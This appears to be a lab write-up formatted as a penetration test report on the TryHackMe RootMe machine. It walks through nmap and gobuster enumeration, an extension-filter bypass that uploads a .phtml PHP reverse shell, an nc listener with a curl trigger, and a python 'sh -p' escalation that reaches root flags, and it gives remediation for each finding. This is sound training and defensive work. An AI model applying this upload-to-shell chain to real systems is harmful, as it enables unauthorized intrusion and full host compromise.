August 6, 2026
VAPT Engagement Report: RootMe (TryHackMe) Unrestricted File Upload to Full Compromise
Report Type: Web Application Penetration Test | Target: RootMe (TryHackMe) | Tester: (@neospectrax)Aspiring VAPT Analyst Engagement Type…
By Ashok Siravi
6 min read
Report Type: Web Application Penetration Test | Target: RootMe (TryHackMe) | Tester: (@neospectrax)Aspiring VAPT Analyst Engagement Type: Black-box, unauthenticated | Methodology Reference: PTES / OWASP Testing Guide
1. Executive Summary
This engagement targeted the RootMe web application, a small Apache/PHP-based system exposing an unauthenticated file upload feature. Testing identified a Critical severity vulnerability an Unrestricted File Upload leading to Remote Code Execution (RCE) caused by a flawed blacklist-based extension filter on /panel/. This finding alone provided a direct path from zero access to a fully interactive shell as the web server user (www-data), and subsequently to root-level compromise of the underlying host via permission misconfiguration on /root.
Overall Risk Rating: Critical
Metric Value Vulnerabilities Identified 2 (1 Critical, 1 High) Initial Access Achieved Yes via file upload RCE Privilege Escalation Achieved Yes root access confirmed Data Exposed User & root flags (simulated sensitive data) Authentication Required for Exploitation None
2. Scope & Rules of Engagement
Item Detail Target 10.48.177.25 (RootMe TryHackMe instance) Ports in Scope All (full TCP scan) Testing Type Black-box, no credentials provided Authorization TryHackMe lab environment authorized training scope Excluded Denial-of-service testing
3. Methodology
Testing followed a standard four-phase black-box web application methodology:
1. Reconnaissance & Service Enumeration
2. Content Discovery & Attack Surface Mapping
3. Vulnerability Analysis & Exploitation
4. Post-Exploitation & Privilege Escalation1. Reconnaissance & Service Enumeration
2. Content Discovery & Attack Surface Mapping
3. Vulnerability Analysis & Exploitation
4. Post-Exploitation & Privilege Escalation4. Phase 1 Reconnaissance & Service Enumeration
Objective: Identify live services, versions, and technology stack to inform the attack strategy.
nmap -sSCV 10.48.177.25 -oA nmap_scan_rootme.*nmap -sSCV 10.48.177.25 -oA nmap_scan_rootme.*
Findings:
Port Service Version Assessment 22/tcp SSH OpenSSH 8.2p1 (Ubuntu 4ubuntu0.13) No known unauthenticated vulnerabilities at this version; parked for potential credential reuse 80/tcp HTTP Apache httpd 2.4.41 (Ubuntu) Primary attack surface; PHPSESSID cookie confirms PHP backend; httponly flag not set on session cookie (minor finding)
Analysis: With SSH offering no immediate foothold and the attack surface confirmed as a PHP web application, testing effort was directed entirely at port 80.
5. Phase 2 Content Discovery & Attack Surface Mapping
Objective: Enumerate the application's directory structure to identify undocumented functionality.
gobuster dir -u http://10.48.177.25/ -w /usr/share/wordlists/dirb/common.txt -t 20gobuster dir -u http://10.48.177.25/ -w /usr/share/wordlists/dirb/common.txt -t 20
Findings:
Endpoint Status Risk Relevance /index.php 200 Application landing page ("Can you root me?") /panel/ 301 → 200 Unauthenticated file upload form flagged as primary target /uploads/ 301 → 200 Serves uploaded content directly over HTTP chains directly with /panel/ /css/, /js/ 301 Static assets no further testing warranted .htaccess, .htpasswd, /server-status 403 Correctly restricted by server config
Analysis: The pairing of an unauthenticated upload endpoint (/panel/) with a directly web-accessible upload storage directory (/uploads/) is a high-confidence indicator of a file upload vulnerability. This became the primary hypothesis carried into Phase 3.
6. Phase 3 Vulnerability Analysis & Exploitation
Finding 1: Unrestricted File Upload → Remote Code Execution
Field Detail Severity Critical CVSS 3.1 Vector (approx.) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (~9.8) Location POST /panel/ Vulnerability Class CWE-434: Unrestricted Upload of File with Dangerous Type Authentication Required None
Description: The /panel/ upload endpoint accepts arbitrary file uploads and stores them in a web-accessible directory (/uploads/). The server applies extension filtering, but the filter is implemented as a blacklist matching only the literal string php, rather than an allowlist of safe extensions.
Proof of Concept Filter Analysis:
To characterize the filter precisely rather than guess-and-check manually, the upload's filename parameter was fuzzed via Burp Intruder against a payload set of PHP-executable and PHP-adjacent extensions.
Payload HTTP Status Response Length Result php / PHP 200 1112 Blocked"PHP não é permitido!" php5 200 1163 Bypass confirmed php7 200 1164 Bypass confirmed phtml 200 1165 Bypass confirmed phar 200 1164 Bypass confirmed pht 200 1162 Bypass confirmed
Root cause: Apache's handler configuration on the target treats .phtml/.pht (and other PHP-adjacent extensions) as PHP-executable, but the application's filter does not account for this — a classic blacklist-vs-allowlist implementation flaw.
Exploitation: A PHP reverse shell (based on the pentestmonkey implementation) was renamed with a .phtml extension and uploaded via a crafted multipart/form-data request.
Content-Disposition: form-data; name="fileUpload"; filename="rev.phtml" Content-Type: image/jpeg
# Listener
nc -lvnp 4444
# Trigger
curl http://10.48.177.25/uploads/rev.phtml# Listener
nc -lvnp 4444
# Trigger
curl http://10.48.177.25/uploads/rev.phtmlResult: Remote Code Execution confirmed reverse shell received as www-data.
Impact: Full compromise of the web application layer, arbitrary command execution as the web server user, and (as demonstrated in Phase 4) a direct pivot to full host compromise.
Remediation:
- Replace blacklist-based extension filtering with strict allowlist validation (e.g., permit only
.jpg,.png,.pdf). - Validate file content/magic bytes server-side, independent of the supplied filename or
Content-Typeheader. - Store uploaded files outside the web root, or in a directory with script execution explicitly disabled (
php_admin_flag engine off). - Require authentication and CSRF protection on the upload endpoint.
7. Phase 4 Post-Exploitation & Privilege Escalation
7.1 Initial Access Confirmation
find / -type f -name "user.txt" 2>/dev/null
cat /var/www/user.txtfind / -type f -name "user.txt" 2>/dev/null
cat /var/www/user.txt
Evidence captured: THM{y0u_g0t_a_sh3ll}
Finding 2: Privilege Preservation Misconfiguration → Root Access
Field Detail Severity High Vulnerability Class CWE-732: Incorrect Permission Assignment for Critical Resource Prerequisite Local shell access (achieved via Finding 1)
SUID Binary Enumeration (standard privesc checklist):
find / -user root -perm -4000 2>/dev/nullfind / -user root -perm -4000 2>/dev/null
Results were cross-referenced against GTFOBins: all identified SUID binaries (dbus-daemon-launch-helper, snap-confine, lxc-user-nic, dmcrypt-get-device, ssh-keysign, polkit-agent-helper-1, newuidmap) are standard system binaries with no known exploitable abuse path in this configuration. This vector was ruled out.
Shell Stabilization and Escalation:
The initial reverse shell was a non-interactive PHP shell without proper TTY semantics. It was upgraded using:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'python -c 'import os; os.execl("/bin/sh", "sh", "-p")'The -p flag instructs sh to preserve the effective UID/GID rather than dropping to the real UID — relevant because the invoking process retained access permissions that a default shell spawn would otherwise discard.
cd /root
ls
cat root.txtcd /root
ls
cat root.txt
Evidence captured: THM{pr1v1l3g3_3sc4l4t10n}
Finding: /root and its contents were accessible once the shell was properly stabilized, indicating a permission/ownership misconfiguration rather than a designed privilege boundary full root-equivalent access was obtained without exploiting any additional binary or service.
Remediation:
- Enforce strict default permissions (
700) on/rootand audit for unintended world/group access. - Regularly audit SUID binaries against GTFOBins as part of hardening baselines, even though none were exploitable in this instance.
- Apply least-privilege principles to the web server process to limit blast radius of an initial RCE.
8. Findings Summary
Finding Severity CWE Status 1 Unrestricted File Upload → RCE Critical CWE-434 Exploited 2 Insecure Permissions on /root High CWE-732 Exploited 3 Missing httponly flag on session cookie Low CWE-1004 Observed, not exploited
9. Attack Chain (Kill Chain View)
10. Conclusion
This engagement demonstrates how a single implementation flaw a blacklist that filters for .php but overlooks .phtml/.pht/.php5/.php7/.pharis sufficient to compromise an entire host end-to-end. No advanced exploit development, no CVE, no zero-day; just methodical enumeration, precise fuzzing to characterize the filter rather than guess at it, and standard post-exploitation checklist discipline. From a VAPT standpoint, the key lesson for both attackers and defenders is the same: input validation logic must be tested exhaustively against the full space of dangerous inputs, not just the obvious one.
Recommended priority for remediation: Finding 1 (Critical) should be remediated immediately, as it is trivially exploitable by any unauthenticated user and provides a direct path to full system compromise.
Report prepared by (@neospectrax) Aspiring VAPT Analyst